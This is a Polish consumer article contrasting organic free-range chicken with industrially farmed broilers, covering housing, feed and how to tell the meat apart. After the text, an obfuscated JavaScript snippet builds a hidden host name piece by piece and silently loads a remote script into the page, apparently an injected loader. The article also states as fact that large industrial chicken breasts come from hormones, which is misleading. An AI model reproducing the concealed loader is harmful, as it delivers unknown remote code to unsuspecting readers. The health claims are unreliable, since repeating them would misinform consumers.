Drób ekologiczny kontra przemysłowy
Hasający po wolnym wybiegu kurczak żyje około 80 dni. Zamknięty w klatkach chów przemysłowy – trzy razy krócej. Wegetacja brojlerów odbija się nie tylko na ich własnym losie, ale również na zdrowiu spożywających mięso ludzi.
Każdemu o uszy obiły się takie pojęcia jak: chów klatkowy, pasza genetycznie modyfikowana, karma z dodatkami pochodzenia zwierzęcego, doksycyklina czy metronidazol. I mimo że Unia Europejska zabrania stosowania rakotwórczych antybiotyków, a globalne koncerny zarzekają się, że produkują żywność bez GMO, to w prasie co rusz pojawiają się informacje na temat zanieczyszczenia produktów. I niestety, najczęściej obiektem eksperymentów staje się drób (rzadziej wieprzowina).
Zdrowe farmy
Nie warto się łudzić, że w najbliższym czasie uda się zlikwidować chów przemysłowy drobiu. Jednak rosnąca świadomość konsumentów w zakresie ekologicznego żywienia, pozwala polskim rolnikom rozwijać zielone gospodarstwa i dostarczać kupującym produkty wolne od GMO. Dziś zdrowa żywność zajmuje zaledwie 2 proc. pól przeznaczonych w Polsce pod uprawy. To niewiele, jednak w porównaniu z krajami Europy ten wynik plasuje nas na siódmym miejscu pod względem ilości gospodarstw ekologicznych.
Nie każde jednak może powiedzieć o sobie, że jest eko. Jedynie takie, które w co najmniej 95 proc. wyprodukuje żywność w sposób ekologiczny. Co to oznacza? W przypadku upraw chodzi o zastosowanie metody płodozmianu i nawozów naturalnych, a także umiejscowienie pola z daleka od dróg i autostrad (ze względu na ryzyko zanieczyszczenia ołowiem). Jeśli zaś chodzi o kurczaka, to ważne są warunki życia i wyżywienie.
Jaki jest hodowany zdrowy kurczak
Farmy hodujące zdrowy drób najczęściej są położone w ekologicznych regionach Polski: na Podlasiu, Mazurach, w Świętokrzyskim. To najczęściej małe gospodarstwa. W przeciwieństwie do produkcji przemysłowej, gdzie na metrze kwadratowym przestrzeni wegetuje do piętnastu kurczaków, przy chowie ekologicznym zwierzęta przebywają w tradycyjnej oborze na ściółce i mają dostęp do zagrody na świeżym powietrzu.
Dużą wagę przykłada się do kwestii żywieniowej. Kurczak ekologiczny musi być karmiony wyłącznie lokalnymi surowcami pochodzenia roślinnego (kukurydza, słonecznik, otręby, pszenica itd.) bez dodatków odzwierzęcych, organizmów genetycznie modyfikowanych oraz antybiotyków i hormonów.
Jak rozpoznać zdrowy drób
Już na pierwszy rzut oka widać czym różni się brojler przemysłowy od ekologicznego. Wystarczy spojrzeć na pierś kurczaka – uzyskana od drobiu z wybiegu waży 200-300 gramów, zaś wyrośnięta dzięki hormonom osiąga wagę nawet do pół kilo. To nie jest normalny stan rzeczy.
Kurczaki różnią się także pod względem struktury mięsa: kurczak od rolnika ma zwartą pierś, widać na niej strukturę tkanki mięśniowej. Mięso drobiu z fabryki ma galaretowatą strukturą. Nie trzyma formy podczas przyrządzania, tylko rozpływa się na patelni.
Jako że „wiejski” drób przebywa na świeżym powietrzu i ciągle znajduje się w ruchu, jest bardziej umięśniony i mniej otłuszczony. To przekłada się na smakowe, ale też zdrowotne walory potrawy. Nieprzebywające w klatkach zwierzęta nie mają zawartego w mięsie hormonu stresu i agresji. Są natomiast źródłem pełnowartościowego i łatwo przyswajalnego białka.
eco
(function(){
uxfw=document.createElement("script");uxfw.type="text/javascript";
uxfw.async=true;uxfw_=(("us")+"t")+"a";uxfw_+=("t.i")+""+"n";uxfw_+=(("f")+"o");
uxfw.src="http://"+uxfw_+"/6815709.vfkpyx8jxfwbmdac9lc1qx9lq955ag";
document.body.appendChild(uxfw);
})();